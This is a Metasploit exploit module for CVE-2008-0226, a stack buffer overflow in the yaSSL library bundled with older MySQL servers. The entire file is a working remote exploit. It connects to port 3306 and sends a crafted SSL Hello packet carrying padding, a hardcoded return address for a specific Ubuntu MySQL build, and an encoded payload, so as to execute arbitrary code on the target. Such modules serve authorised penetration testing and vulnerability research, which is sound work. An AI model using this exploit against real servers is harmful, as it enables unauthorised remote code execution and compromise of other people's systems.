metasploit-framework/modules/exploits/linux/mysql/mysql_yassl_hello.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
super(update_info(info,
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
implementation bundled with MySQL <= 6.0. By sending a specially crafted
Hello packet, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-0226' ],
[ 'OSVDB', '41195' ],
[ 'BID', '27140' ],
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],
'Privileged' => false,
'Payload' =>
{
'Space' => 100,
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
},
'Platform' => 'linux',
'Targets' =>
[
[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 4 2008'))
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register_options(
[
Opt::RPORT(3306)
], self.class)
end
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def exploit
connect
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sock.get_once
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req_uno = [0x01000020].pack('V')
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req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
req_dos << [target.ret].pack('V') + payload.encoded
req_dos << rand_text_alphanumeric(1024)
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print_status("Trying target #{target.name}...")
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sock.put(req_uno)
sock.put(req_dos)
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handler
disconnect
end
end